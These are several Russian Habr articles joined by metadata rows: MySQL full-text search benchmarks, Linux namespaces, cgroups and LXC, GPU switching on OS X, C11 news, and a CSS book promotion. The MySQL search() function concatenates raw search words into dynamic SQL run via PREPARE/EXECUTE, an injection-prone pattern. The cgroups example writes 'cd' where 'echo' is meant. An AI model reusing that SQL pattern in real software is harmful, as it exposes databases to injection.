> login VARCHAR(255) DEFAULT NULL,
>
> `password` VARCHAR(255) DEFAULT NULL,
>
> name VARCHAR(255) DEFAULT NULL,
>
> surname VARCHAR(255) DEFAULT NULL,
>
> email VARCHAR(255) NOT NULL,
>
> country VARCHAR(255) DEFAULT NULL,
>
> city VARCHAR(255) DEFAULT NULL,
>
> PRIMARY KEY (id),
>
> INDEX city (city),
>
> INDEX country (country),
>
> INDEX email (email),
>
> INDEX login (login),
>
> INDEX name (name),
>
> INDEX password (password),
>
> INDEX surname (surname)
>
> )
>
> ENGINE = INNODB
В InnoDB поиск можем осуществлять только с помощью оператора LIKE, но для его эффективной работы необходимо разбить запрос на слова, иначе запросы, состоящие из нескольких слов, останутся без результата. Для разбиения на слова и составления запроса напишем функцию:
> CREATE
>
> FUNCTION search(str VARCHAR(255))
>
> RETURNS varchar(255) CHARSET cp1251
>
> BEGIN
>
> DECLARE output VARCHAR(255) DEFAULT '';
>
> DECLARE temp\_str VARCHAR(255);
>
> DECLARE first\_part VARCHAR(255) DEFAULT "CONCAT\_WS(' ',`name`,`surname`,`login`,`country`,`city`) LIKE '%";
>
> DECLARE last\_part VARCHAR(255) DEFAULT "%'";
>
>
>
> WHILE LENGTH(str) != 0 DO
>
> SET temp\_str = SUBSTRING\_INDEX (str, ' ', 1);
>
> IF temp\_str = str
>
> THEN
>
> SET str = '';
>
> ELSE
>
> SET str = SUBSTRING(str, LENGTH(temp\_str) + 2);
>
> END IF;
>
>
>
> IF output != ''
>
> THEN
>
> SET output = CONCAT(output, ' OR ');
>
> END IF;
>
>
>
> SET output = CONCAT(output, first\_part, temp\_str, last\_part);
>
>
>
> END WHILE;
>
> RETURN output;
>
> END
Функция возвращает нам фрагмент сформированного поискового запроса, который просто нужно подставить и выполнить:
> SET @WHERE = CONCAT('SELECT \* FROM `users` WHERE ', search ('Хабра Хабрович'));
>
> PREPARE prepared FROM @WHERE;
>
> EXECUTE prepared;
Также можно использовать временные таблицы, они дадут ощутимое удобство при обработке результатов запроса.
Использование сторонних решений
-------------------------------
Существует ряд сторонних решений для полнотекстового поиска. Наиболее популярные платформы это [Sphinx](http://sphinxsearch.com/) и проекты на базе [Apache Lucene](http://lucene.apache.org/java/docs/index.html). Их использование лишено смысла при небольших объемах данных (таких как в нашем примере), а иногда просто невозможно в связи с ограничениями (хостер, злой админ, кривые руки и т. д.).
Сравнение
=========
Сравним показанные способы полнотекстового поиска (кроме сторонних решений) на скорость выполнения типовых запросов. Сравнивать будем на примере выполнения 50 запросов различной сложности. Для этого напишем PHP-скрипт, который будет объективно подсчитывать среднюю скорость выполнения поиска каждым из приведенных методов. Для того чтобы приблизить измерения к реальным условиям проведем второе контрольное измерение, в котором будут использованы те же самые поисковые запросы. Здесь можно будет оценить, насколько хорошо в каждом методе используются кэширующие механизмы MySQL.
Сравнение скорости выполнения поисковых запросов в базе данных MySQL в таблице InnoDB различными методами:
[](https://habrastorage.org/storage/habraeffect/40/17/4017851a22774a0b28a0f34c5a76048f.png "Хабрэффект.ру")
Подробнее:
| | | |
| --- | --- | --- |
| **Метод** | **Средняя скорость выполнения одного запроса (сек.)** | **Средняя скорость выполнения одного повторного запроса (сек.)** |
| С помощью таблицы-«зеркала» в MyISAM | 0.029738 | 0.011974 |
| С помощью таблицы-«зеркала» в MyISAM с кэшированными данными | 0.025652 | 0.012027 |
| С помощью таблицы из ключевых слов в MyISAM | 0.027876 | 0.008866 |
| Разбора запроса и прямой поиск в InnoDB | 0.136091 | 0.09541 |
Как и ожидалось, прямой LIKE поиск в InnoDB оказался самым медленным и существенно проигрывает всем остальным. Конечно этот способ еще можно оптимизировать, однако это вряд ли даст существенный выигрыш в скорости.
Три оставшихся метода поиска показали себя примерно на одном уровне. Как показала практика, при большом количестве одинаковых запросов ощутимое преимущество дает использование ключевых слов (тегов) в MyISAM. При большом количестве разнообразных поисковых запросов выигрыш дает второй способ – создание кэшированного зеркала. Если какие-то поля сильно отличаются по размеру от других(содержимое статьи, текст новости), то эффективнее показывает себя первый способ — создание таблицы-зеркала.
Создание MyISAM зеркал стоит применять для небольших таблиц (10-50 тыс записей в таблице), если записей в таблице больше, и позволяют технические возможности используйте сторонние механизмы (Sphinx, Apache Lucene). | https://habr.com/ru/post/114572/ | null | ru | null |
# Разделяй и властвуй. Изоляция процессов в Linux
Последнее десятилетие проходило под знаком контейнеризации, появлялись десятки и сотни инструментов для управления контейнерами, создания виртуальных сетей для взаимодействия контейнеров на разных узлах кластера, появлялись системы маршрутизации трафика, мониторинга доступности и иные DevOps-инструменты, которые во многом трансформировали деятельность системных администраторов вплоть до того, что начали появляться сомнения в потребности организаций в администраторах Linux (особенно с учетом появления облачных провайдеров, предоставляющих как среды для запуска контейнеров в Kubernetes, так и полностью настроенные и управляемые сервисы баз данных, очередей, систем для накопления и анализа логов и т.п.). Но нередко возникают ситуации, когда нужно осуществить некоторый уровень изоляции или ограничения уже запущенных процессов и для этого можно использовать возможности control groups ядра Linux, которые также лежат в основе технологий контейнеризации Docker и LXC. В этой статье мы последовательно разберем возможности cgroups, обсудим отличия новой cgroups v2 и затронем тему контейнеризации на основе Linux Containers. Да пребудет с вами безопасное окружение выполнения.
Идея разделения процессов и ресурсов впервые возникла еще во времена мейнфреймов, которые изначально были ориентированы на многопользовательский конкурентный доступ в режиме пакетной обработки или в интерактивном режиме как тонкого клиента (терминала). В POSIX-совместимых операционных системах процессы обладали собственным объемом памяти, своим набором файловых дискрипторов (включая стандартные каналы для ввода-вывода информации на терминал) и запускались с правами пользователя, которые разграничивали доступ к файлам и устройствам для процесса. Также для обмена данными между процессами POSIX-совместимая система предлагала механизмы межпроцессного взаимодействия (IPC), а также способы создания вспомогательных процессов и получения от них результата выполнения. Но в реальном использовании эти механизмы успешно способствовали защите данных, но не исключали ситуацию захвата ресурсов (памяти, процессорного времени, сети или дисковой подсистемы) одним приложением, что осложняло работу других пользователей на том же оборудовании. Конечно, POSIX предлагал методы управление приоритетом выполнения заданий (nice), а также лимиты на файловые дескрипторы, стек и выделяемую память, но это не давало необходимой гибкости в распределении системных ресурсов между различными процессами. Кроме того, несмотря на поддержку изоляции файловой системы (механизм jail во FreeBSD или chroot в POSIX-совместимых системах), пространство процессов, IPC и сетевой стек был для всех пользователей единым и это значительно снижало безопасность системы в целом. Одним из решений стала идея пространств имен (namespaces) в [Plan 9](http://www.cs.bell-labs.com/sys/doc/names.html), которая предлагала делать различное отображение системных ресурсов для разных приложений, которая в дальнейшем получило развитие в Linux Namespaces о котором мы будет говорить далее.
Отчасти эта проблема перестала быть актуальной при появлении персональных компьютеров, но была значима для совместного запуска приложений на сервере. Основная сложность была в необходимости контроля использования ресурсов и изоляции процессов со стороны ядра операционной системы. Некоторые идеи были реализованы в операционных системах реального времени (например, [RSX-11M](http://www.bitsavers.org/pdf/dec/pdp11/rsx11/RSX11Mplus_V4.x/7/AA-JS14A-TC_RSX-11M_PLUS_V4.0_RSX-11M-PLUS_and_MicroRSX_System_Management_Guide_Sep87.pdf)), стали появляться коммерческие реализации механизмов изоляции и ограничения ресурсов ([Solaris Zones](https://docs.oracle.com/cd/E19455-01/817-1592/zones.intro-1/index.html)), но основной акцент был в дальнейшем сделан в сторону аппаратной виртуализации (благодаря возможностям процессоров Intel 486 и более новых), что значительно увеличивало накладные расходы из-за наличия гипервизора, запуска изолированных экземпляров операционной системы, нескольких уровней управления доступом к устройствам ввода-вывода и к оперативной памяти. Одним из решений стало использование паравиртуализации, когда гостевые операционные системы знают о существовании гипервизора и напрямую взаимодействуют с ним (это в большинстве случаев применимо только для одного семейства операционных систем).
Одним из важных шагов в гибком управлении распределением ресурсов стала реализация групп управления (control groups), абстракции для соотнесения процессов с виртуальными группами, каждая из которых могла иметь собственные ограничения на процессорное время, оперативную память, подсистему ввода-вывода, а также свой набор правил доступа к символьным и блочным устройствам системы (включая устройства хранения). Но cgroups не обеспечивают изоляцию ресурсов, поэтому вначале мы рассмотрим возможности поддержки пространств именования, которые появились в Linux Kernel 2.4.19. В Linux в настоящее время Первый и наиболее важный аспект изоляции - поддержка пространств имен.доступны 8 пространств именования объектов:
* **mnt** - точки монтирования и файловые системы;
* **pid** - идентификаторы запущенных процессов (и информация о них);
* **net** - сетевой стек (доступные интерфейсы, возможность получения и отправки информации, создания сокетов);
* **ipc** - межпроцессное взаимодействие (доступные каналы);
* **uts** - идентификация системы в сети (в частности - имя хоста);
* **user** - идентификаторы пользователей и групп (используются для контроля доступа к ресурсам);
* **cgroup** - трансляция групп управления ресурсами внутрь изолированного окружения (чтобы исключить возможность просмотра и изменения групп для других процессов);
* **time** - трансляция виртуального времени для процесса.
Пространства имен для процесса отображаются в /proc//ns и являются символическими ссылками на виртуальные объекты (например 'ipc:[4026531839]'). По умолчанию создание процесса клонирует namespace родительского объекта, но при клонировании можно указать какие namespace будут сохраняться, но можно использовать системные вызовы unshare (для создания изолированных namespace) и setns для связывания с существующим namespace-узлом. Также можно использовать утилиту unshare (из пакета util-linux) для замены пространств имен.
Для проверки скомпилируем простое приложение на Go:
```
package main
import (
"fmt"
"os"
)
func main() {
fmt.Println("Hello, isolated world!")
name, err := os.Hostname()
if err != nil {
panic(err)
}
dir, err2 := os.Getwd()
if err2 != nil {
panic(err2)
}
fmt.Println("Hostname: ", name)
fmt.Println("Current dir: ", dir)
fmt.Println("PID: ", os.Getpid())
}
```
Запустим приложение сначала без использования изоляции:
```
linux /opt/test/rootfs # ./main
Hello, isolated world!
Hostname: linux.local
Current dir: /opt/test/rootfs
PID: 10566
```
Заменим теперь корневой каталог для процесса (аналог chroot):
```
linux /opt/test/rootfs # unshare -R `pwd` /main
Hello, isolated world!
Hostname: linux.local
Current dir: /
PID: 10614
```
Для замены пространства имен PID требуется явно указать создание форка:
```
linux /opt/test/rootfs # unshare -R `pwd` -p -f /main
Hello, isolated world!
Hostname: linux.local
Current dir: /
PID: 1
```
Чтобы заменить имя хоста мы будем использовать hostname для конфигурирования связанного пространства имен и nsenter для запуска приложения в этом пространстве имен:
```
linux /opt/test/rootfs # unshare --uts=/tmp/uts hostname isolated.local
linux /opt/test/rootfs # nsenter --uts=/tmp/uts unshare -R /opt/test/rootfs -p -f /main
Hello, isolated world!
Hostname: isolated.local
Current dir: /
PID: 1
```
Аналогично может быть выполнена изоляция точек монтирования (-m), IPC (-i), сетевых интерфейсов и маршрутов (-n), идентификаторов пользователей (-u), описаний управляющих групп (-c), виртуального времени (-t).
Теперь, когда мы можем запускать процессы изолированно, нужно посмотреть на возможности ограничения ресурсов. Первоначальная модель cgroups появилась в Linux Kernel 2.6.24 и была основана на применении контроллеров, каждый из которых может ограничивать использовании ресурсов (`cpu` - разделение процессорного времени, `cpuset` - привязка процессов к ядрам, memory - использование памяти, `devices` - доступ к устройствам, `freezer` - приостановка процессов, `net_cls` - настройки сетевого трафика, `net_prio` - настройки приоритетов сетевого трафика, `blkio` - ограничения ввода-вывода, `hugetlb` - настройки huge pages, `pids` - ограничение количества процессов, `rdma` - ограничение по каналам прямого доступа к памяти), а также возвращать текущие метрики ресурсов (`cpuacct` - учет использования процессорного времени, `perf_event` - производительность в группе). Группы создаются в каталоге `/sys/fs/cgroup//`, процессы привязываются к группе через узел tasks (сохраняются PID процессов), конфигурация определяется типом (например, максимальный объем памяти для группы test может быть определен через изменение файла):
```
echo 1048576 >/sys/fs/cgroup/memory/test/limit_in_bytes
```
Также на уровне cgroups может быть запрещено или разрешено выполнение действий с устройствами (символьными или блочными). Например, мы можем запретить запись в /dev/null, для этого получим идентификатор устройства:
```
ls -l /dev/null
crw-rw-rw- 1 root root 1, 3 июн 28 16:06 /dev/null
```
И запретим операции записи через контроллер devices для группы test (w - запись, r - чтение, m - создание нового узла для этого типа устройства через mknod):
```
echo "c 1:3 wm" >/sys/fs/cgroup/devices/test/devices.deny
```
Несмотря на значительное улучшения возможностей настройки использования ресурсов, cgroups не лишен недостатков. Один из них непосредственно следует из того, что каждый контроллер содержит свою иерархию групп (и, как следствие, при необходимости создания или изменения группы нужно отслеживать конфигурации во всех контроллерах). Вторая проблема связана с наследованием настроек на вложенные группы (для этого используется конфигурация clone\_children в группе) и неоднозначностью применения ограничительных политик. Развитием cgroups стала реализация cgroup2, которая для совместимости с ранее разработанными приложениями (включая kubelet от kubernetes и docker) предполагает монтирование в специальный каталог /sys/fs/cgroup/unified и содержит в себе непосредственно иерархию групп, в которой совмещаются узлы для доступа к статистике и к установке ограничений для всех подключенных контроллеров. Также может быть настроен режим с использованием только cgroup2, тогда она монтируется в /sys/fs/cgroup.
В Gentoo (и системах на основе OpenRC) режим определяется в файле конфигурации /etc/rc.conf в параметре rc\_cgroup\_mode и может принимать следующие значения:
* `legacy` - используется только cgroups v1 (монтируется в /sys/fs/cgroup, unified не подключается);
* `hybrid` - доступны и cgroups v1 и cgroups v2 (при этом cgroups v2 поддерживает для группы только те контроллеры, которые не определены в cgroups v1);
* `unified` - доступна только cgroups v2 с точкой монтирования /sys/fs/cgroup.
Также в rc.conf может быть перечислен список контроллеров, которые будут использоваться для cgroups v2 (в этом случае в cgroups v1 они не будут создаваться в дереве). Cgroups v2 поддерживаются Docker с версии 20.10, Kubernetes с версии 1.22 (как alpha-feature), Containerd с версии 1.4).
Для систем на основе systemd разрешить cgroups v2 можно через добавление опции `systemd.unified_cgroup_hierarchy=1` к параметрам ядра.
Кроме упорядочивания ресурсов (теперь вся конфигурация ограничений для группы расположена в одном каталоге) появились новые метрики, связанные с памятью, что позволяет ограничить область действия out-of-memory (OOM) killer только одной группой. Например, можем провести следующий эксперимент с ограничением максимального выделения памяти (используется модель unified):
```
mkdir /sys/fs/cgroup/test
cd /sys/fs/cgroup/test
cd $$ >cgroup.procs
echo "1048576" >memory.max
dd if=/dev/zero of=/dev/null bs=2M
```
Выполнение последней команды будет остановлено из-за превышения лимита памяти при выделении буфера для команды dd. Если посмотреть на список доступных узлов для конфигурации группы (или получения текущих значений замеров), можно обнаружить некоторую унификацию по сравнению с cgroups v1:
```
linux /sys/fs/cgroup/lm_sensors # ls
cgroup.controllers hugetlb.1GB.current memory.events.local
cgroup.events hugetlb.1GB.events memory.high
cgroup.freeze hugetlb.1GB.events.local memory.low
cgroup.kill hugetlb.1GB.max memory.max
cgroup.max.depth hugetlb.1GB.rsvd.current memory.min
cgroup.max.descendants hugetlb.1GB.rsvd.max memory.numa_stat
cgroup.procs hugetlb.2MB.current memory.oom.group
cgroup.stat hugetlb.2MB.events memory.pressure
cgroup.subtree_control hugetlb.2MB.events.local memory.stat
cgroup.threads hugetlb.2MB.max memory.swap.current
cgroup.type hugetlb.2MB.rsvd.current memory.swap.events
cpu.idle hugetlb.2MB.rsvd.max memory.swap.high
cpu.max io.max memory.swap.max
cpu.max.burst io.pressure pids.current
cpu.pressure io.stat pids.events
cpu.stat io.weight pids.max
cpu.weight memory.current rdma.current
cpu.weight.nice memory.events rdma.max
```
Файлы .stat представляют текущие замеры от соответствующего контроллера, max - ограничение максимально допустимого значения, pressure - замеры длительного превышения рекомендуемого максимума (high), events - количество событий по срабатыванию контроллера (например, вызовов агрессивной очистки памяти при превышении memory.high). Для относительного распределения ресурсов используется конфигурация веса (weight, по умолчанию 100). Список доступных контроллеров может быть прочитан из cgroup.controllers, присоединение процесса к группе выполняется через файл cgroup.procs. Общая статистика группы может быть извлечена из cgroup.stat.
Совместное использование возможностей namespace (например, через unshare или clone) и cgroups (с присоединением идентификатора запущенного процесса) позволит реализовать полный контроль над запущенным процессом как с точки зрения доступных для него системных объектов и каталогов системы хранения, так и для контроля используемых ресурсов оборудования (процессора, памяти, ввода-вывода и др.). В принципе этих знаний достаточно для реализации изолированного выполнения процессов без необходимости установки движков системы контейнеризации (CRI-O, Containerd, Docker), но все же кратко рассмотрим возможности библиотеки liblxc (Linux Containers), построенной поверх рассмотренных ранее технологий и обозначим возможные варианты ее использования.
Прежде всего отметим, что архитектурно Linux Containers похож на Docker и реализован в виде процесса-демона (lxd) и утилиты командной строки (lxc). lxd реализует API и позволяет выполнить первоначальную настройку (lxd init). Во время настройки будут заданы уточняющие вопросы о режиме кластеризации, создании нового пула для хранения (из него будут подключаться каталоги в изолированное окружение), настройки сетевого моста (для изоляции внутреннего трафика и управляемой публикации портов во внешнюю сеть). Также можно настроить установку управляющего процесса на физическую машину (через свободный инструмент [MAAS](https://maas.io/docs/how-to-use-lxd)). Конфигурация хранилища и сетевого трафика реализуется в виде профиля, который также объединяет доступ к виртуальным устройствам (список может быть просмотрен через команду lxc profile device show default, здесь default - название профиля по умолчанию). Типы поддерживаемых устройств позволяют подключать диски (type: disk), сетевые устройства (type: nic), сокеты (type: proxy), графический адаптер (type: gpu). Создадим новый профиль для запуска графического приложения (опубликуем сокет для взаимодействия с X-Server):
```
lxc profile create x11
lxc profile device add x11 video proxy bind=container \
connect=unix:@/tmp/.X11-unix/X1 listen=unix:@/tmp/.X11-unix/X0\
security.gid="1000" security.uid="1000"
lxc profile set x11 environment.DISPLAY=0
```
Образы изолированных файловых систем (контейнеров) могут быть получены из сетевых репозиториев (`lxc remote list`) или импортированы из локального описания (файл метаданных + каталог или архив с файловой системой). Образ используется для создания экземпляра, к которому может быть присоединен один или несколько профилей.
Сначала запустим готовый образ ubuntu:22.04 и привяжем к нему подключение к X11-серверу для запуска графических приложений:
```
lxc launch ubuntu:22.04 ubuntu -p default -p x11
```
После успешного запуска можно перейти в консоль контейнера (или непосредственно выполнить команду):
```
lxc exec ubuntu bash
```
При запуске для подключения к X11 будет использоваться прокси-файл /tmp/.X11-unix/0 для подключения к X-серверу хост-системы.
Аналогично рассмотренному сценарию можно создать собственный образ из любого каталога файловой системы, который содержит все необходимые зависимости для выполнения кода. Возьмем в качестве примера ранее разработанное приложение на Go (для его выполнения не требуются внешние зависимости) и подготовим новый образ для LXC.
Создадим структуру каталогов:
```
metadata.yaml - описание образа
rootfs - корневой каталог будущего образа
templates - шаблоны для генерации файлов с использованием параметров экземпляра
```
metadata.yaml минимально должен содержать два ключа: architecture (например, x86\_64, список архитектур можно посмотреть [здесь](https://linuxcontainers.org/lxd/docs/master/architectures/)) и creation\_date (unix timestamp в секундах), но может дополнительно определять правила создания файлов при генерации экземпляра (здесь могут использоваться шаблоны из templates). Используем lxc image import для создания образа на основе созданной заготовки:
```
lxc image import /opt/test --alias test
```
Alias определяет название образа. Проверим доступность образа в локальном репозитории:
```
+-----------+--------------+--------+---------------------------------------------+-------------+-----------+----------+------------------------------+
| ПСЕВДОНИМ | FINGERPRINT | PUBLIC | DESCRIPTION | АРХИТЕКТУРА | TYPE | SIZE | UPLOAD DATE |
+-----------+--------------+--------+---------------------------------------------+-------------+-----------+----------+------------------------------+
| test | 5b8a6300e0fe | no | | x86_64 | CONTAINER | 0.97MB | Jun 28, 2022 at 9:07pm (UTC) |
```
Но при попытке запуска мы получим ошибку No such file or directory - Failed to exec "/sbin/init". Это связано с тем, что LXC ожидает получить полностью функциональный образ операционной системы, который может быть запущен в режиме виртуальной машины (lxc launch ubuntu:22.04 --vm), как следствие нужно или собрать базовый образ на основе любого дистрибутива Linux (для этого можно использовать [distrobuilder](https://github.com/lxc/distrobuilder), который создает образ на основе указанного корневого образа или с использованием установщика. Например, для создания образа на основе Alpine Linux можно использовать следующий файл конфигурации:
```
image:
description: My Alpine Linux
distribution: minimalalpine
release: 3.16.0
source:
downloader: alpinelinux-http
url: http://dl-cdn.alpinelinux.org/alpine/
keys:
- 0482D84022F52DF1C4E7CD43293ACD0907D9495A
keyserver: keyserver.ubuntu.com
packages:
manager: apk
sets:
- packages:
- go
action: install
```
Образ может быть сгенерирован через `distrobuilder build-lxd alpine.yaml`. При необходимости сборки образа с конфигурацией можно использовать возможности создания файлов из шаблонов (описываются в секции files в yaml) или создать корневую файловую систему (distrobuilder build-dir) и потом собрать преднастроенный образ.
При создании экземпляра контейнера на основе образа liblxc регистрирует два cgroup: lxc.monitor. для наблюдения за функционированием контейнера (связан с процессом [lxc monitor], который запускает /sbin/init и lxc.payload. для выполнения процессов внутри контейнера. Кроме того, создаются отдельные группы для доступа к виртуальному хранилищу (lxcfs) и демону liblxc (lxd). Для каждого экземпляра контейнера создается свой набор namespaces, которые создаются в соответствии с присоединенными профилями.
Мы рассмотрели основные идеи изоляции процессов в ядре Linux и инструменты для управления ресурсами и подготовки изолированного окружения с преднастроенной файловой системой на основе Linux Containers. Кроме рассмотренных возможностей LXC реализует снимки и возможность их восстановления, кастомизация файлов внутри контейнера над существующим образом на основе шаблонов и параметров запуска, выполнение фоновых операций (lxc operation), копирование и перемещение экземпляров между серверами в кластере (lxc copy / lxc move), операции над файлами в запущенном контейнере (lxc file delete / push / pull / edit), контроль доступа к сети для входящего (ingress) и исходящего (egress) трафика (lxc network acl create), подключение к консоли контейнера (lxc console), аналогичное подключение к серверу по SSH. Таким образом LXC реализует полноценную изолированную среду выполнения для операционной системы без необходимости создания виртуальной машины (только на механизмах namespaces / lxc).
Статья подготовлена в преддверии старта курса Administrator Linux. Professional. По ссылке ниде вы сможете узнать подробнее о курсе и зарегистрироваться на бесплатный урок.
* [Регистрация на бесплатный урок](https://otus.pw/iqPy/) | https://habr.com/ru/post/673960/ | null | ru | null |
# Закладка в OS X, продлевающая работу от батарейки для избранных приложений
Зачем 2 GPU?
-------------
Ноутбуки с двумя GPU появились уже очень давно. Первый MacBook Pro с такой технологией вышел еще в 2008 году.
Преимущество двух GPU в гибкости. Когда вам не нужна вся мощь видео системы, вы используете встроенное в процессор видео, наслаждаясь долгой работой от батарейки. Однако если вы захотели развлечься, то к вашим услугам мощный дискретный GPU. Да, он ест батарейку и жужжит вентиляторами, но дает хороший FPS в играх. Как же одному приложению переключать GPU?
В теории, переключение должно происходить автоматически при изменении нагрузки на видеокарту. Однако на практике все не так просто.
В Windows за переключение отвечают драйвера видеокарты. В них прописана куча игр и приложений с предпочитаемыми настройками. А пользователь может сам выбрать, когда задействовать мощное дискретное GPU, а когда хочется поработать в тишине.
В OS X с переключением все сложение. Начнем с того, что драйвера для OS X пишет сама Apple.
Кстати, это приводит к таким казусам, как очень устаревшая версия OpenGL. И никакие петиции не помогают исправить это положение.
gfxCardStatus
--------------
В OS X вы даже не можете понять, какой GPU сейчас работает. Если только по жужжанию вентиляторов.
К счастью, есть отличная утилита [gfxCardStatus](https://gfx.io/), которая показывает какая видеокарта активна, и даже позволяет переключаться между ними.
Когда включается дискретный GPU, утилита показывает, какое приложение вызвало переключение.
Проблема переключения и официальная документация
-------------------------------------------------
Подразумевается, что под OS X переключение происходит автоматически.
Например, в Safari обычно используется встроенный GPU. Но, если вы зайдете на сайт с WebGL, то произойдет переключение на дискретный GPU.
Однако, если вы сами захотите написать приложение, которое бы могло само выбирать режим работы, вас ждет неприятный сюрприз.
Начнем с того, что в [официальной документации](https://developer.apple.com/library/mac/technotes/tn2229/_index.html) нет ответа на вопрос, как же правильно переключаться. При это написаны очень странные вещи. Но документация дает набор ключевых слов, по которым можно найти информацию.
Решение в Chromium
-------------------
У нас есть отличный open-source проект chromium, который смог решить эту проблему. Надо создавать CGLPixelFormatObj с флагом kCGLPFAAllowOfflineRenderers при инициализации OpenGL контекста. В этом случае будет использоваться текущий (встроенный) GPU.
А если вы хотите переключится на дискретный GPU, то надо просто создать CGLPixelFormatObj без флагов. Даже OpenGL контекст не нужен. Для того, чтобы вернуться на встроенный GPU, просто удалить этот CGLPixelFormatObj:
```
CGLContextObj ctx;
CGLPixelFormatObj pix;
GLint npix;
std::vector attribs;
// Use current GPU
attribs.push\_back(kCGLPFAAllowOfflineRenderers); // comment this line for discrete GPU
attribs.push\_back((CGLPixelFormatAttribute) 0);
CGLError err = CGLChoosePixelFormat(&attribs.front(), &pix, &npix);
CGLCreateContext(pix, NULL, &ctx);
CGLSetCurrentContext(ctx);
....
```
Закладка
---------
Я написал тестовое приложение, которое почти работало. Почему почти? Потому что удаление CGLPixelFormatObj не приводило к переключению обратно на встроенный GPU! Причем у chromium это получалось.
Зная, что в драйверах Nvidia для Windows есть специальные настройки для chromium, и то, что они определяют chromium по имени exe'шника, я ожидал что-то подобное и здесь.
Под OS X есть более надежный способ определять приложение — Bundle Id. И если поменять Bundle Id моего приложения на org.chromium.Chromium, то, о чудо, все заработает как надо.
Самое неприятное, что без правильного Bundle Id, никак нельзя переключится обратно на встроенный GPU. А это уже не просто настройка, а серьезная проблема для написания хорошей программы.
Так же работает Bundle Id: com.apple.Safari. О себе позаботились.
А вот com.operasoftware.Opera не работает. В итоге в Opera наблюдается такое же поведение: однажды захваченный дискретный GPU никогда не освобождается, даже если вы закрываете прожорливую вкладку. Единственный способ вернутся на встроенный GPU — это закрыть приложение.
Тестовое приложение и видео
----------------------------
Тестовое приложение, на котором можно убедиться в отличии поведения программы при разных Bundle Id, можно скачать [тут](https://github.com/PetrovVadim/GPU-Switch-Test).
Так же я снял видео, на котором воспроизвел проблему.
Решение
--------
Как же в итоге решить задачу? Так как активный GPU один на систему, то можно создавать отдельный процесс, когда вам нужен дискретный GPU. И завершать этот процесс, если нужно вернуться на встроенный GPU. | https://habr.com/ru/post/276787/ | null | ru | null |
# С11 исправит ошибки С99
В декабре 2011 года был утверждён стандарт [ISO/IEC 9899:2011](http://habrahabr.ru/post/135206/), он же C11 или C1X, новый стандарт для языка программирования C.
Дэнни Калев (Danny Kalev), бывший член комитета стандартизации C++, [вкратце объясняет](http://blog.smartbear.com/software-quality/bid/173187/C11-A-New-C-Standard-Aiming-at-Safer-Programming), в чём суть главных нововведений в C11: новая модель памяти для лучшей поддержки многопоточности, анонимные структуры и объединения и многие другие функции, которые уже присутствуют в C++.
Некоторые обязательные функции C99 становятся опциональными в C11 (массивы переменной длины, комплексный тип данных и др.), но добавляются некоторые функции C++. Комитеты C и C++ плотно сотрудничали, чтобы обеспечить максимальную совместимость языков.
C11 принят через 13 лет после C99 и должен устранить проблемы, которые появились с прошлой версией стандарта, пишет Калев. Дело в том, что C99 был слишком инновационным, в нём реализовано настолько много новых функций, что до сих пор трудно найти [хотя бы один компилятор](http://en.wikipedia.org/wiki/C99#Implementations), которой бы поддерживал их все.
Проблемы возникли из-за того, что некоторые обязательные функции C99 оказалось трудно реализовать на некоторых платформах. Другие были признаны спорными или экспериментальными до такой степени, что некоторые вендоры (например, Microsoft) дошли до того, чтобы [советовать программистам C перейти на C++](http://www.infoq.com/news/2012/05/vs_c99_support/).
Свою лепту в плохое восприятие C99 внесла и политика: не секрет, что в конец 90-х комитеты по стандартизации C и C++ недостаточно сотрудничали, мягко говоря. Хорошие новости в том, говорит Калев, что сейчас это сотрудничество стало гораздо лучше, так что C11 избежал ошибок дизайна, сделанных в C99.
Безопасное программирование
---------------------------
Безопасность кода C всегда была предметом беспокойства. Функции обработки строк без проверки границ и функции файлового ввода/вывода без проверки аргументов были постоянным источником уязвимостей для вредоносных программ.
C11 решает эти проблемы с введением нового набора более безопасных стандартных функций, которые должны заменить прошлые небезопасные аналоги (хотя они всё ещё используются в C++).
Дополнительно, C11 содержит поддержку Unicode, соответствует стандарту [IEC 60559](http://en.wikipedia.org/wiki/IEEE_754-2008) для представления чисел с плавающей запятой и комплексных чисел, анонимные структуры и объединения, выравнивание данных, спецификатор функции `_Noreturn` и самое главное — поддержку многопоточности. | https://habr.com/ru/post/146596/ | null | ru | null |
# Книга «Секреты CSS. Идеальные решения ежедневных задач»
Привет, Хаброжители! Мы пополнили новинкой свою серию [O'Reilly](http://www.piter.com/collection/bestsellery-oreilly?page_size=&order=descending_age&q=&only_available=true):
 Гибкий легкий код, соответствующий стандартам — его можно получить, если подойти к проблеме аналитически. Леа Веру познакомит вас с недокументированными приемами, позволяющими найти изящные решения для самого широкого круга задач веб-дизайна. В основу книги легли доклады автора на шестидесяти международных конференциях веб-разработчиков, так что она затрагивает самые актуальные темы — от взаимодействия с пользователем до типографики и визуальных эффектов. Множество книг, доступных на сегодняшнем рынке, документируют возможности CSS от A до Я. Хорошо это или плохо, но «Секреты CSS» — не одна из них. Ее назначение — заполнить пробелы в знаниях, оставшиеся после того, как вы уже ознакомились со справочными материалами, открыть ваш разум новым способам применения функциональности, которая вам уже известна, а также познакомить вас с полезными возможностями CSS, которые не так модны и популярны, но заслуживают не меньшей любви. Главная задача этой книги — научить вас решать проблемы с помощью CSS.
### Для кого эта книга
Главная целевая аудитория этой книги — **разработчики CSS среднего и продвинутого уровня**. Избавившись от информации начального уровня, мы можем посвятить больше времени изучению сложных сценариев использования современных возможностей CSS и их разнообразных комбинаций. Это, однако, означает, что я сделала несколько **предположений** относительно вашего уровня подготовки, мой дорогой читатель:
— я предполагаю, что **CSS 2.1 вы знаете назубок** и у вас за плечами несколько лет разработки. Вы не мучаетесь вопросом, как же работает позиционирование. Вы используете генерируемое содержимое для украшения дизайна, не прибегая к помощи лишней разметки или изображений. И вы не развешиваете *!important* по всему коду, так как действительно понимаете специфичности, наследование и каскадирование. Вы знаете составные части блочной модели и вас не способно расстроить схлопывание полей. Вам знакомы разные единицы изменения длины, и вы знаете, в какой ситуации какую из них лучше применить;
— вы достаточно хорошо знакомы с **наиболее популярными возможностями CSS3** — либо из статей, опубликованных в Сети, либо из книг — и пробовали применять их, пусть даже ограничиваясь своими личными проектами. Даже если вы не исследовали их детально, вы знаете, как создать скругленные углы, добавить тень box-shadow или определить линейный градиент. Вы уже поиграли с базовыми двумерными трансформациями и немало времени посвятили изучению базовых переходов и анимации;
— у вас есть представление о формате **SVG**, и вы знаете, для чего он используется, даже если файлы в этом формате вы самостоятельно не создаете;
— вы можете читать и понимать **простейший код JavaScript**, такой, например, какой требуется для создания элементов, манипулирования их атрибутами и добавления их в документ;
— вы слышали о **препроцессорах CSS** и знаете, на что они способны, даже если решили в своей работе их не использовать;
